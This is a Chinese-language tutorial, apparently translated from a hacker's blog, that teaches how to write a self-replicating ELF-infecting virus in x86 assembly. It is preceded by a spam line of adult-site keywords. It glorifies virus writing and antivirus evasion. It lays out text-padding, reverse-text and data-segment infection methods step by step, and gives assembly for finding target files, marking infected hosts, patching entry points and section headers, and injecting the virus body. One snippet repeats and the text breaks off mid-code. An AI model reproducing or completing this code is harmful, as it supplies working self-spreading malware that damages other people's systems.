自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

如何使用匯編語言編寫一個(gè)病毒

安全
病毒是一種藝術(shù)。匯編和C(不使用代碼庫)將是你的畫筆。今天,我將幫助你經(jīng)歷一些我面臨過的挑戰(zhàn)-使用匯編語言編寫一個(gè)病毒。

如何使用匯編語言編寫一個(gè)病毒

前言

病毒編寫的藝術(shù)似乎丟失了似的。我們不要將惡意軟件,特洛伊木馬,蠕蟲等等混淆成病毒。你可以使用任何友好的腳本語言去編寫那些垃圾程序并且拍著自己的后背嘚瑟一下,但這并不能讓你成為一個(gè)病毒作者。編寫計(jì)算機(jī)病毒并不一定就是你所看到的關(guān)于破壞,還得要看你的病毒可以傳播多廣泛同時(shí)避免被檢測(cè),也得要比殺毒軟件公司更為聰明。這事關(guān)創(chuàng)新和創(chuàng)造力。一個(gè)計(jì)算機(jī)病毒在很多方面就像一個(gè)紙飛機(jī)。你需要使用聰明和具有創(chuàng)造性的方式去折飛機(jī),并試圖使它在不可避免的著陸前盡可能長(zhǎng)久的飛翔。在萬維網(wǎng)之前,傳播病毒是一種挑戰(zhàn)。運(yùn)氣好的話,它會(huì)感染除了你自己之外的任何電腦。如果運(yùn)氣更好點(diǎn),你的病毒將獲得像鯨魚病毒或米開朗基羅病毒一樣的名聲。

如果你想被視為一個(gè)“病毒作者”,你必須獲得這類稱號(hào)。在地下黑客組織里,在黑客/破解者/入侵者之中,我最尊重的是病毒作者。因?yàn)椴皇侨魏稳硕寄茏龅?,那是真的能夠表現(xiàn)出他比別人擁有更深的、關(guān)于系統(tǒng)和軟件方面的知識(shí)。你不能指望簡(jiǎn)單地遵循常規(guī)就能成為一個(gè)病毒作者。編寫一個(gè)真正的病毒需要比一般“黑客”擁有更多的技能。多年以來,我沒有成功的寫出一個(gè)可以運(yùn)行良好的二進(jìn)制文件感染病毒。一直就是報(bào)錯(cuò)、報(bào)錯(cuò)、報(bào)錯(cuò)。這是一件令人沮喪的事情。因此我堅(jiān)持編寫蠕蟲、木馬炸彈和ANSI炸彈。我堅(jiān)持編寫B(tài)BS的漏洞利用,也去逆向視頻游戲軟件以破解其版權(quán)保護(hù)。每當(dāng)我以為我的匯編技術(shù)終于足夠,試圖編寫出一個(gè)病毒的時(shí)候,失敗再次地落到我的臉上。我花了好幾年的時(shí)間才能夠編寫出一個(gè)真正可運(yùn)行的病毒。這就是為什么我著迷于病毒并且想找出一些真正的病毒作者。在瑞安“elfmaster”奧尼爾傳奇的書籍《學(xué)習(xí)Linux二進(jìn)制程序分析》中,他指出:

這是一個(gè)超越常規(guī)編程約定的偉大挑戰(zhàn)工程,它要求開發(fā)人員跳出傳統(tǒng)模式,去操縱代碼、數(shù)據(jù)和環(huán)境使其以某種方式表現(xiàn),在與AV殺毒軟件開發(fā)者的交流時(shí),令我吃驚的是,他們旁邊沒有人有任何真正關(guān)于如何逆向一個(gè)病毒的想法,更不用說去設(shè)計(jì)什么真正的啟發(fā)式來識(shí)別它們(除了簽名)。事實(shí)上,病毒編寫是非常困難的,并且需要標(biāo)準(zhǔn)比較嚴(yán)格的技能。

使用匯編語言編寫一個(gè)病毒

病毒是一種藝術(shù)。匯編和C(不使用代碼庫)將是你的畫筆。今天,我將幫助你經(jīng)歷一些我面臨過的挑戰(zhàn)。讓我們開始吧,看看你是否擁有成為一個(gè)藝術(shù)家的潛能!

與我之前的“源代碼感染”病毒教程不同,這是更先進(jìn)且具有挑戰(zhàn)性的經(jīng)歷/運(yùn)用(即使對(duì)經(jīng)驗(yàn)豐富的開發(fā)人員)。但是,我鼓勵(lì)你繼續(xù)閱讀并盡你所能地汲取。

讓我們先描述一下我認(rèn)為的、一個(gè)真正病毒應(yīng)該有的特點(diǎn):

——病毒會(huì)感染二進(jìn)制可執(zhí)行文件

——病毒代碼必須是獨(dú)立的,它獨(dú)立于其他文件、代碼庫、程序等

——被感染的宿主文件能夠繼續(xù)執(zhí)行并且傳播病毒

——病毒在不損害宿主文件的情況下表現(xiàn)得像一只寄生蟲。受感染的宿主應(yīng)繼續(xù)像它被感染之前一樣執(zhí)行

因?yàn)槲覀円腥径M(jìn)制可執(zhí)行文件,所以簡(jiǎn)要列表介紹幾個(gè)不同的可執(zhí)行文件類型。

  • ELF-(可執(zhí)行和鏈接的文件格式)Unix和類Unix系統(tǒng)標(biāo)準(zhǔn)的的二進(jìn)制文件格式。這也被許多手機(jī),游戲機(jī)(Playstation,任天堂)等等使用。
  • Mach-O-(Mach對(duì)象)被NeXTSTEP,macOS,iOS等等,所使用的二進(jìn)制可執(zhí)行文件格式,你其實(shí)在用它,因?yàn)樗械奶O果手機(jī)都是這。
  • PE-(便攜式可執(zhí)行程序)用于32位和64位微軟操作系統(tǒng)
  • MZ(DOS)- DOS支持的可執(zhí)行文件格式…所有的微軟32位及以下操作系統(tǒng)使用
  • COM(DOS)- DOS支持的可執(zhí)行文件格式…所有的微系32位及以下操作系統(tǒng)使用

微軟的病毒教程有許多,但是ELF病毒似乎更具挑戰(zhàn)性并且教程稀缺,所以我將主要關(guān)注的是32位ELF程序的感染。

我將假設(shè)讀者至少對(duì)病毒復(fù)制的方式有一個(gè)常規(guī)的理解。如果沒有,我推薦你閱讀我以前的博客文章主題:

https://cranklin.wordpress.com/2011/04/19/how-to-write-a-stupid-simple-computer-virus-in-3-lines-of-code/

https://cranklin.wordpress.com/2011/11/29/how-to-create-a-computer-virus/

https://cranklin.wordpress.com/2012/05/10/how-to-make-a-simple-computer-virus-with-python/

第一步是找到要感染的文件。DOS指令集可以方便尋找文件。AH:4Eh INT 21指令能夠基于給定的文件描述找到第一個(gè)匹配的文件,而AH:4Fh INT 21指令可以找到下一個(gè)匹配的文件。不幸的是,對(duì)于我們卻不會(huì)這么簡(jiǎn)單。使用Linux匯編來檢索文件列表,這相關(guān)的文檔并不是很多。少數(shù)的幾個(gè)回答中我們發(fā)現(xiàn)它依賴于POSIX系統(tǒng)的readdir()函數(shù)。但是我們是黑客,對(duì)么?讓我們做黑客應(yīng)該做的事情來實(shí)現(xiàn)它。你應(yīng)該熟悉的工具是strace。通過運(yùn)行strace ls,我們看到了當(dāng)運(yùn)行l(wèi)s命令時(shí),跟蹤到的系統(tǒng)調(diào)用和信號(hào)。

AH:4Eh INT 21指令

你感興趣的調(diào)用是getdents。所以下一步是在http://syscalls.kernelgrok.com/查找”getdents”。這將給我們一個(gè)小小的提示,關(guān)于我們應(yīng)該怎樣使用它以及我們?nèi)绾蔚玫揭粋€(gè)目錄列表。下面就是我所發(fā)現(xiàn)的東西:

  1. mov eax, 5      ; sys_open 
  2.     mov ebx, folder ; 目錄名稱 
  3.     mov ecx, 0 
  4.     mov edx, 0 
  5.     int 80h 
  6.     cmp eax, 0      ; 檢測(cè)在eax中的fd是否 > 0 (ok)  
  7.     jbe error       ; 不能打開文件,  以錯(cuò)誤狀態(tài)退出  
  8.     mov ebx, eax     
  9.     mov eax, 0xdc   ; sys_getdents64  
  10.     mov ecx, buffer  
  11.     mov edx, len  
  12.     int 80h  
  13.     mov eax, 6  ; 關(guān)閉 
  14.     int 80h 

現(xiàn)在,我們指定的緩沖區(qū)里已經(jīng)有了目錄的內(nèi)容,我們必須去解析它。出于某種原因,每個(gè)文件名的偏移量似乎并沒有一致,但也可能是我錯(cuò)了。不過我只對(duì)那些原始的文件名字符串感興趣。我所做的是打印緩沖區(qū)到標(biāo)準(zhǔn)輸出,然后保存它到另一個(gè)文件,再使用十六進(jìn)制編輯器來打開它。我發(fā)現(xiàn)的規(guī)律是每個(gè)文件名都帶有一個(gè)前綴,前綴由十六進(jìn)制值0x00(null)后緊跟一個(gè)十六進(jìn)制0x08構(gòu)成。文件名是以null為終止的(后綴為一個(gè)十六進(jìn)制0x00)。

  1. find_filename_start: 
  2.     ; 尋找在一個(gè)文件名開始前的序列0008 
  3.     add edi, 1 
  4.     cmp edi, len  
  5.     jge done  
  6.     cmp byte [buffer+edi], 0x00  
  7.     jnz find_filename_start  
  8.     add edi, 1 
  9.     cmp byte [buffer+edi], 0x08  
  10.     jnz find_filename_start  
  11.     xor ecx, ecx    ; 清空ecx,其將作為文件的偏移  
  12. find_filename_end: 
  13.     ; 清空ecx,其將作為文件的偏移  
  14.     add edi, 1  
  15.     cmp edi, len     
  16.     jge done 
  17.     mov bl, [buffer+edi]    ; 從緩沖區(qū)里移動(dòng)文件名字節(jié) 
  18.     mov [file+ecx], bl  
  19.     inc ecx                 ; 增加保存在ecx的偏移量 
  20.     cmp byte [buffer+edi], 0x00 ; 代表文件名的結(jié)尾 
  21.     jnz find_filename_end 
  22.     mov byte [file+ecx], 0x00 ; 到這我們就拿到文件名了,在其尾部添加一個(gè)0x00 
  23.     ;; 對(duì)該文件做一些操作  
  24.     jmp find_filename_start ; 找下一個(gè)文件 

其實(shí)有更好的方法來做這些事。你所需要做的只是去匹配目錄條目結(jié)構(gòu)的字節(jié):

  1. struct linux_dirent { 
  2.                unsigned long  d_ino;     /* Inode number */ 
  3.                unsigned long  d_off;      /* 下一個(gè)linux_dirent的偏移 */ 
  4.                unsigned short d_reclen;  /* 這個(gè)linux_dirent的長(zhǎng)度 */ 
  5.                char           d_name[];  /* 文件名 (null結(jié)尾) */ 
  6.                                  /* length is actually (d_reclen - 2 - 
  7.                                     offsetof(struct linux_dirent, d_name)) */ 
  8.                /* 
  9.                char           pad;       // Zero padding byte 
  10.                char           d_type;    // File type (only since Linux 
  11.                                          // 2.6.4); offset is (d_reclen - 1) 
  12.                */ 
  13.            } 
  14. struct linux_dirent64 { 
  15.                ino64_t        d_ino;    /* 64位inode number */ 
  16.                off64_t        d_off;    /* 64位下個(gè)structure的偏移 */ 
  17.                unsigned short d_reclen; /* 這個(gè)dirent的長(zhǎng)度 */ 
  18.                unsigned char  d_type;   /* 文件類型 */ 
  19.                char           d_name[]; /*文件名 (null結(jié)尾) */ 
  20.            }; 

但我正在使用的是我發(fā)現(xiàn)的一種模式,它沒有使用到結(jié)構(gòu)體中的偏移量。

下一步是檢查文件,看看是否:

——這是一個(gè)ELF可執(zhí)行文件

——它是不是已經(jīng)被感染

早些時(shí)候,我介紹了一些關(guān)于不同操作系統(tǒng)使用的不同類型的可執(zhí)行文件。這些文件類型在其文件頭部都有不同的標(biāo)志。例如,ELF文件總是從7f45 4c46開始。45-4c-46是ASCII字母E-L-F的十六進(jìn)制表示。

如果你轉(zhuǎn)儲(chǔ)windows可執(zhí)行文件十六進(jìn)制數(shù)據(jù),你會(huì)看到它開頭是4D5A,代表字母M-Z。

十六進(jìn)制轉(zhuǎn)儲(chǔ)OSX可執(zhí)行文件顯示了標(biāo)記字節(jié)CEFA EDFE,也是小端的“FEED FACE”。

你可以在這里看到更多關(guān)于可執(zhí)行文件格式和各自的標(biāo)記:https://en.wikipedia.org/wiki/List_of_file_signatures

0edd1e00

在我的病毒中,我要把自己的標(biāo)記寫在了ELF文件頭中第9 - 12字節(jié)里未使用的地方。這是一個(gè)不錯(cuò)的位置,可以用來存放一個(gè)雙字“0edd1e00”——我的名字。

我需要這個(gè)來標(biāo)記我已經(jīng)感染的文件,這樣我就不會(huì)再次感染已經(jīng)感染過的文件。不然受感染文件的長(zhǎng)度將像雪球一樣越滾越大,耶路撒冷病毒第一次就因此被檢測(cè)到。

通過簡(jiǎn)單讀取前12個(gè)字節(jié),我們可以確定該文件是否是一個(gè)好的感染對(duì)象然后再繼續(xù)下一個(gè)目標(biāo)。我打算將每一個(gè)潛在的目標(biāo)存儲(chǔ)在一個(gè)單獨(dú)的緩沖區(qū),稱之為“目標(biāo)”。

現(xiàn)在它開始要變得困難了。為了感染ELF文件,你需要了解一切關(guān)于ELF文件結(jié)構(gòu)的知識(shí)。這里是一個(gè)很好的學(xué)習(xí)起點(diǎn):http://www.skyfree.org/linux/references/ELF_Format.pdf。

不同于簡(jiǎn)單的COM文件,ELF存在一些不同的挑戰(zhàn)問題。簡(jiǎn)單來說,ELF文件包括:ELF頭,程序頭,節(jié)頭,和指令操作碼。

ELF頭告訴我們關(guān)于程序頭和節(jié)頭的信息。它也告訴我們程序在內(nèi)存中的入口點(diǎn)位置(首先執(zhí)行的指令操作碼)。

程序頭告訴我們,哪個(gè)“段”屬于TEXT段,哪個(gè)“段”屬于DATA段,也給出其在文件中的偏移。

節(jié)頭給出每個(gè)“節(jié)”和它們所屬“段”的信息。這可能有點(diǎn)令人困惑。首先要明白的是一個(gè)可執(zhí)行文件在磁盤上和它運(yùn)行在內(nèi)存中是不同的狀態(tài),而這些頭給出了這兩方面的相關(guān)信息。

TEXT段是可讀取/執(zhí)行的代碼段,它包含了我們的代碼和其他只讀數(shù)據(jù)。

DATA段是可讀/寫的數(shù)據(jù)段,它包含了全局變量和動(dòng)態(tài)鏈接的信息。

在TEXT段,有一個(gè).text節(jié)和一個(gè).rodata節(jié)。在DATA段中,有一個(gè).data節(jié)和.bss節(jié)。

如果你熟悉匯編語言,這些節(jié)名應(yīng)該對(duì)你來說聽起來很熟悉。

.text是代碼駐留的地方,.data是存儲(chǔ)初始化全局變量的地方。.bss包含未初始化的全局變量,因?yàn)樗俏闯跏蓟?,所以沒有占用磁盤空間。

不像PE文件(微軟的),ELF文件沒有太多可以感染的區(qū)域。老式的DOS、COM文件幾乎允許你在任何地方添加病毒代碼,然后在100 h這個(gè)地址覆蓋內(nèi)存代碼(因?yàn)镃OM文件總是在100 h的內(nèi)存地址開始映射)。ELF文件不允許你寫TEXT段。下面這些是ELF感染病毒的主要方法:

感染Text段填充區(qū)

感染.text節(jié)的尾部。我們可以利用ELF文件的特點(diǎn),當(dāng)其加載到內(nèi)存中,尾部會(huì)被使用‘0’來填充成一個(gè)完整的內(nèi)存頁。受到內(nèi)存頁長(zhǎng)度的限制,所以我們只能在32位系統(tǒng)上容納一個(gè)4 kb病毒或在64位系統(tǒng)容納2 mb病毒。這看起來可能很小,但也足夠容納用C或者匯編語言編寫的小病毒。這一目標(biāo)的實(shí)現(xiàn)方法是:

——修改入口點(diǎn)(ELF頭)到.text節(jié)的尾部

——增加節(jié)表(ELF頭)里對(duì)應(yīng)節(jié)的頁長(zhǎng)度

——增加Text段的文件長(zhǎng)度和內(nèi)存長(zhǎng)度為病毒代碼的長(zhǎng)度

——遍歷每個(gè)被病毒寄生后的程序頭,根據(jù)頁面長(zhǎng)度增加對(duì)應(yīng)的偏移

——找到Text段的最后一個(gè)節(jié)頭,增加其節(jié)長(zhǎng)度(在節(jié)頭里)

——遍歷每個(gè)被病毒感染后的節(jié)頭,根據(jù)頁面長(zhǎng)度增加對(duì)應(yīng)的偏移

——在.text節(jié)的尾部插入實(shí)際的病毒代碼

——插入病毒代碼后跳轉(zhuǎn)到原始宿主的入口點(diǎn)執(zhí)行

反向感染Text段

在允許宿主代碼保持相同虛擬地址的同時(shí)感染.text節(jié)區(qū)的前面部分。我們將反向擴(kuò)展text段。在現(xiàn)代Linux系統(tǒng)中允許的最小虛擬映射地址是0x1000,這便是我們可以反向拓展text段的限制長(zhǎng)度。在64位系統(tǒng)上,默認(rèn)的text段虛擬地址通常是0x400000,這就有可能給病毒留下減掉ELF頭長(zhǎng)度后的大小為0x3ff000的空間。在32位系統(tǒng)上,默認(rèn)的text段虛擬地址通常是0x0804800,這就有可能產(chǎn)生更大的病毒。這一目標(biāo)的實(shí)現(xiàn)方式是:

——增加節(jié)表(在ELF頭)里的偏移為病毒長(zhǎng)度(對(duì)下一內(nèi)存頁對(duì)齊值取余)

——在Text段程序頭里,根據(jù)病毒的長(zhǎng)度(對(duì)下一內(nèi)存頁對(duì)齊值取余)減小虛擬地址(和物理地址)

——在Text段程序頭里,根據(jù)病毒的長(zhǎng)度(對(duì)下一內(nèi)存頁對(duì)齊值取余)增加文件長(zhǎng)度和內(nèi)存長(zhǎng)度

——根據(jù)病毒的長(zhǎng)度(再次取余),遍歷每個(gè)程序頭的偏移,增加它的值到大于text段

——修改入口點(diǎn)(在ELF頭)到原始的text段虛擬地址——病毒的長(zhǎng)度(再次取余)

——根據(jù)病毒的長(zhǎng)度(再次取余),增加程序頭偏移(在ELF頭)

——插入病毒實(shí)體到text段的開始位置

Data段感染

感染數(shù)據(jù)段。我們將把病毒代碼附加到data段(在.bss節(jié)之前)。因?yàn)樗菙?shù)據(jù)部分,我們的病毒代碼可以盡可能的大,像我們希望的那樣不受約束。Data內(nèi)存段的數(shù)據(jù)有一個(gè)R + W(讀和寫)的權(quán)限設(shè)置,而Text內(nèi)存段有R + X(讀和執(zhí)行)權(quán)限設(shè)置。在沒有NX位設(shè)置的系統(tǒng)(如32位Linux系統(tǒng))中,你可以執(zhí)行Data段里的代碼而不用改變權(quán)限設(shè)置。然而,其他系統(tǒng)需要你在病毒寄存的內(nèi)存段屬性中添加一個(gè)可執(zhí)行的標(biāo)志。

——根據(jù)病毒的長(zhǎng)度增加節(jié)頭的偏移(在ELF頭)

——修改入口點(diǎn)(在ELF頭)指向數(shù)據(jù)段的尾部(虛擬地址+文件長(zhǎng)度)

——在數(shù)據(jù)段程序頭里,根據(jù)病毒長(zhǎng)度增加頁面和內(nèi)存的長(zhǎng)度

——根據(jù)病毒的長(zhǎng)度增加.bss節(jié)的偏移(在節(jié)頭)

——設(shè)置數(shù)據(jù)段的可執(zhí)行權(quán)限位(32位Linux系統(tǒng)不適用)。

——插入病毒實(shí)體到數(shù)據(jù)段的尾部

——插入代碼,跳轉(zhuǎn)到原始宿主的入口點(diǎn)

當(dāng)然,還有更多感染的方法,但這些是首要選擇。對(duì)于我們的示例,將使用上面的第三個(gè)方法。

編寫病毒時(shí)還有另外一個(gè)比較大的障礙——變量。理想情況下,我們不希望合并(病毒和宿主).data節(jié)和.bss節(jié)。此外,一旦你匯編或編譯病毒,無法保證當(dāng)病毒在宿主程序運(yùn)行時(shí)你的變量始終在同一個(gè)虛擬地址。事實(shí)上,這幾乎是不會(huì)發(fā)生的事情,那樣的話宿主程序?qū)?huì)拋出段錯(cuò)誤的提示。所以在理想情況下,你希望限制你的病毒到一個(gè)特定的節(jié):.text。如果你有匯編的經(jīng)驗(yàn),你就明白這是一項(xiàng)挑戰(zhàn)。我將和你們分享一些技巧,應(yīng)該就會(huì)使這個(gè)過程更容易些。

首先,讓我們關(guān)照一下.data節(jié)變量(初始化了)。如果可能的話,“硬編碼”這些值。或者,假設(shè)我有我.asm代碼:

  1. section .data 
  2.     folder db ".", 0 
  3.     len equ 2048 
  4.     filenamelen equ 32 
  5.     elfheader dd 0x464c457f     ; 0x7f454c46 -> .ELF (反轉(zhuǎn)字節(jié)序) 
  6.     signature dd 0x001edd0e     ; 0x0edd1e00 反轉(zhuǎn)字節(jié)序后的簽名 
  7. section .bss 
  8.     filename: resb filenamelen  ; 目標(biāo)文件路徑 
  9.     buffer: resb len            ; 所有的文件名 
  10.     targets: resb len           ; 目標(biāo)文件名 
  11.     targetfile: resb len        ; 目標(biāo)文件內(nèi)容 
  12. section .text 
  13.     global v1_start 
  14. v1_start: 
  15. 你可以這樣做: 
  16.     call signature 
  17.     dd 0x001edd0e     ; 0x0edd1e00反轉(zhuǎn)字節(jié)序后的簽名 
  18. signature: 
  19.     pop ecx     ; 現(xiàn)在值存在ecx里了 

我們利用的是,當(dāng)一個(gè)call指令被調(diào)用時(shí),調(diào)用的當(dāng)前指令的絕對(duì)地址將會(huì)被壓入棧內(nèi)存里以期能夠正常返回。

這樣我們就可以遍歷每個(gè).data節(jié)里的變量然后一起解決這個(gè)問題了。

至于.bss節(jié)里的變量(未初始化的),我們需要儲(chǔ)備一定數(shù)量的字節(jié)數(shù)據(jù)。我們?cè)?text節(jié)里這樣做因?yàn)樗鼘儆赥ext代碼段,其屬性被標(biāo)記為r + x(讀取和執(zhí)行),不允許在該內(nèi)存段里寫數(shù)據(jù)。所以我決定使用堆棧。棧?是的,一旦我們把字節(jié)壓入堆棧,我們可以看到堆棧指針并保存這些標(biāo)記。這里是我解決方案里的一個(gè)例子:

  1. ; 給未初始化的變量開辟棧內(nèi)存空間以避免使用.bss節(jié) 
  2.     mov ecx, 2328   ; 設(shè)置循環(huán)計(jì)數(shù)2328 (x4=9312 bytes). filename(esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080) 
  3. loop_bss: 
  4.     push 0x00       ; 壓入4個(gè)字節(jié)(雙字)的0 
  5.     sub ecx, 1      ; 計(jì)數(shù)減一 
  6.     cmp ecx, 0 
  7.     jbe loop_bss 
  8.     mov edi, esp    ; esp 有了我們要偽造的 .bss 偏移。 讓我們將它存儲(chǔ)在edi里。 

注意到我一直在壓入0x00字節(jié)(在32位匯編壓棧一次將一個(gè)雙字壓入,正好是寄存器的長(zhǎng)度)。確切地說,我們共壓入2328次。這樣大概給我們開辟一個(gè)大約9312字節(jié)的空間可以使用。一旦我完成所有的0字節(jié)壓棧,把ESP的值(即我們的堆棧指針)存儲(chǔ)起來,并把它作為我們“偽造.bss”的基址。我可以引用ESP +[offset]來訪問不同的變量。在我的例子中,我保存的[esp]對(duì)應(yīng)filename,[esp + 32]對(duì)應(yīng)buffer,[esp + 1056]對(duì)應(yīng)targets,以及[esp + 2080]對(duì)應(yīng)targetfile。

現(xiàn)在我就可以完全去除.data節(jié)和.bss節(jié)的使用了,并且整個(gè)病毒被唯一的一個(gè).text節(jié)來承載!

readelf是一個(gè)很有用的工具。運(yùn)行readelf –a[file]將會(huì)給你ELF頭/程序頭/節(jié)頭的一些細(xì)節(jié):

這里有三個(gè)節(jié):.text、.data、.bss

text節(jié)

這里我們消除了.bss節(jié):

消除了.bss節(jié)

在這里,我們已經(jīng)完全消除了.data段。我們可以用.text節(jié)來單獨(dú)進(jìn)行一切操作!

完全消除了.data段

現(xiàn)在我們將需要讀取宿主文件的字節(jié)數(shù)據(jù)到一個(gè)緩沖區(qū),對(duì)頭部進(jìn)行必要的修改,并注入病毒標(biāo)記。如果你做了給你的關(guān)于目錄條目結(jié)構(gòu)和保存目標(biāo)文件長(zhǎng)度的家庭作業(yè),將對(duì)你有好處。否則,我們將不得不一個(gè)字節(jié)一個(gè)字節(jié)地讀文件,直到系統(tǒng)讀到一個(gè)在EAX返回0 x00的調(diào)用,說明我們已經(jīng)達(dá)到了EOF:

  1. reading_loop: 
  2.     mov eax, 3              ; sys_read 
  3.     mov edx, 1              ; 一次讀一個(gè)字節(jié) (yeah, 我知道這可能是最好的) 
  4.     int 80h  
  5.     cmp eax, 0              ; 如果返回 0,我們讀到了EOF 
  6.     je reading_eof 
  7.     mov eax, edi  
  8.     add eax, 9312          ; 2080 + 7232 (2080 targetfile在我們偽造 .bss的偏移) 
  9.     cmp ecx, eax            ; 如果文件超過 7232 字節(jié), 退出 
  10.     jge infect 
  11.     add ecx, 1 
  12.     jmp reading_loop 
  13. reading_eof: 
  14.     push ecx                ;保存最后讀取的一個(gè)字節(jié)的地址, 我們后面需要用到它 
  15.     mov eax, 6              ;關(guān)閉文件 
  16.     int 80h 

修改緩沖區(qū)是非常簡(jiǎn)單的。記住,當(dāng)移動(dòng)任何超出一個(gè)字節(jié)時(shí)你必需得處理反向字節(jié)順序(小端)。

這里我們注入病毒標(biāo)記并改變?nèi)肟邳c(diǎn)指向我們?cè)跀?shù)據(jù)段尾部的病毒代碼。(文件長(zhǎng)度不包括的.bss在內(nèi)存中占據(jù)的空間):

  1. mov ebx, dword [edi+2080+eax+8]     ; phdr->vaddr (內(nèi)存虛擬地址) 
  2. add ebx, edx        ;新入口點(diǎn) = phdr[data]->vaddr + p[data]->filesz 
  3. mov ecx, 0x001edd0e     ; 在8字節(jié)處插入我們的標(biāo)志(ELF頭沒有用到的節(jié)) 
  4. mov [edi+2080+8], ecx 
  5. mov [edi+2080+24], ebx  ; 用病毒覆蓋舊入口點(diǎn) (在buffer里) 

注意到我想存儲(chǔ)0xedd1e00(用十六進(jìn)制字符編寫的我的名字)的病毒標(biāo)記,但反向字節(jié)順序給了我們0x001edd0e。

你還會(huì)注意到,我用偏移算法找到通向我留給未初始化變量的棧底部區(qū)域。

現(xiàn)在我們需要定位DATA程序頭并做一些修改。訣竅是先找到PT_LOAD類型,然后確定其偏移是不是非0。如果其偏移量為0,它就是一個(gè)TEXT程序頭。否則,它就是DATA。

  1. section_header_loop: 
  2.     ; 循環(huán)通過節(jié)頭來尋找.bss節(jié)(NOBITS) 
  3.    
  4.     ;0  sh_name 包含一個(gè)指向給定節(jié)的名字字符串指針 
  5.     ;+4 sh_type 給定節(jié)類型 [節(jié)的名稱 
  6.     ;+8 sh_flags    其他標(biāo)志 ... 
  7.     ;+c sh_addr 運(yùn)行時(shí)節(jié)到虛擬地址 
  8.     ;+10    sh_offset   節(jié)在文件中到偏移 
  9.     ;+14    sh_size zara white phone numba 
  10.     ;+18    sh_link根據(jù)節(jié)類型 
  11.     ;+1c    sh_info 根據(jù)節(jié)類型 
  12.     ;+20    sh_addralign    對(duì)齊 
  13.     ;+24    sh_entsize  當(dāng)節(jié)包含固定長(zhǎng)度的入口時(shí)被使用 
  14.     add ax, word [edi+2080+46] 
  15.     cmp ecx, 0 
  16.     jbe finish_infection        ; 找不到.bss節(jié)。  不需要擔(dān)心,可以完成感染 
  17.     sub ecx, 1                  ; 計(jì)數(shù)減一 
  18.    
  19.     mov ebx, dword [edi+2080+eax+4]     ; shdr->type (節(jié)類型) 
  20.     cmp ebx, 0x00000008         ; 0x08是 NOBITS,.bss節(jié)的指標(biāo) 
  21.     jne section_header_loop     ; 不是.bss節(jié) 
  22.    
  23.     mov ebx, dword [edi+2080+eax+12]    ; shdr->addr (內(nèi)存虛擬地址) 
  24.     add ebx, v_stop - v_start   ; 增加我們病毒的長(zhǎng)度給 shdr->addr 
  25.     add ebx, 7                  ; 為了跳轉(zhuǎn)到起始入口點(diǎn) 
  26.     mov [edi+2080+eax+12], ebx  ; 用新的覆蓋舊的shdr->addr(在緩沖區(qū)里) 
  27.    
  28.     mov edx, dword [edi+2080+eax+16]    ; shdr->offset (節(jié)的偏移) 
  29.     add edx, v_stop - v_start   ; 增加我們病毒的長(zhǎng)度給shdr->offset 
  30.     add edx, 7                  ; 為了跳轉(zhuǎn)到起始入口點(diǎn) 
  31.     mov [edi+2080+eax+16], edx  ; 用新的覆蓋舊的shdr->offset(在緩沖區(qū)里) 

我們還需要修改.bss節(jié)頭。我們可以通過檢查類型標(biāo)志NOBITS說這是否是一個(gè)節(jié)頭。節(jié)頭不一定需要為了運(yùn)行可執(zhí)行文件而存在。所以如果我們不能找到它,也沒什么大不了的,我們?nèi)匀豢梢岳^續(xù)進(jìn)行:

  1. ;dword [edi+2080+24]       ; ehdr->entry (入口點(diǎn)的虛擬地址) 
  2. ;dword [edi+2080+28]       ; ehdr->phoff (程序頭便宜) 
  3. ;dword [edi+2080+32]       ; ehdr->shoff (節(jié)頭偏移) 
  4. ;word [edi+2080+40]        ; ehdr->ehsize (elf頭的長(zhǎng)度) 
  5. ;word [edi+2080+42]        ; ehdr->phentsize (一個(gè)程序頭入口的長(zhǎng)度) 
  6. ;word [edi+2080+44]        ; ehdr->phnum (程序頭入口的數(shù)量) 
  7. ;word [edi+2080+46]        ; ehdr->shentsize (一個(gè)節(jié)頭入口的長(zhǎng)度) 
  8. ;word [edi+2080+48]        ; ehdr->shnum (程序頭入口的數(shù)量) 
  9. mov eax, v_stop - v_start       ; 我們病毒的長(zhǎng)度減去到原始入口點(diǎn)的跳轉(zhuǎn) 
  10. add eax, 7                      ; 為了到原始入口點(diǎn)的跳轉(zhuǎn) 
  11. mov ebx, dword [edi+2080+32]    ; 原始節(jié)頭偏移 
  12. add eax, ebx                    ; 增加原始節(jié)頭偏移 
  13. mov [edi+2080+32], eax      ; 用新的覆蓋舊的shdr->offset(在緩沖區(qū)里) 

然后,當(dāng)然我們需要通過修改節(jié)頭偏移對(duì)ELF頭作最后修改,因?yàn)槲覀兏腥綿ata段的尾端(bss之前)。程序頭保持在同一位置:

  1. ;dword [edi+2080+24]       ; ehdr->entry (virtual address of entry point) 
  2. ;dword [edi+2080+28]       ; ehdr->phoff (program header offset) 
  3. ;dword [edi+2080+32]       ; ehdr->shoff (section header offset) 
  4. ;word [edi+2080+40]        ; ehdr->ehsize (size of elf header) 
  5. ;word [edi+2080+42]        ; ehdr->phentsize (size of one program header entry) 
  6. ;word [edi+2080+44]        ; ehdr->phnum (number of program header entries) 
  7. ;word [edi+2080+46]        ; ehdr->shentsize (size of one section header entry) 
  8. ;word [edi+2080+48]        ; ehdr->shnum (number of program header entries) 
  9. mov eax, v_stop - v_start       ; size of our virus minus the jump to original entry point 
  10. add eax, 7                      ; for the jmp to original entry point 
  11. mov ebx, dword [edi+2080+32]    ; the original section header offset 
  12. add eax, ebx                    ; add the original section header offset 
  13. mov [edi+2080+32], eax      ; overwrite the old section header offset with the new one (in buffer) 

最后一步是注入病毒的實(shí)體代碼,并完成回到宿主代碼入口點(diǎn)的跳轉(zhuǎn)指令,以便我們毫無戒心的用戶看到宿主程序運(yùn)行正常。

你可能會(huì)問自己的問題是,病毒如何抓取自己的代碼?病毒是如何確定自己的長(zhǎng)度呢?這些都是很好的問題。首先,我使用標(biāo)簽來標(biāo)記病毒的開始和結(jié)束,然后使用簡(jiǎn)單的數(shù)學(xué)偏移:

  1. section .text 
  2.     global v_start 
  3.    
  4. v_start: 
  5.     ; 病毒體開始 
  6. ... 
  7. ... 
  8. ... 
  9. ... 
  10. v_stop: 
  11.     ; 病毒體結(jié)束 
  12.     mov eax, 1      ; sys_exit 
  13.     mov ebx, 0      ; 正常狀態(tài) 
  14.     int 80h 

通過這樣做,我可以使用v_start作為病毒開始的偏移量,然后可以使用v_stop-v_start作為字節(jié)數(shù)量(長(zhǎng)度)。

  1. mov eax, 4 
  2. mov ecx, v_start        ; 附加病毒部分 
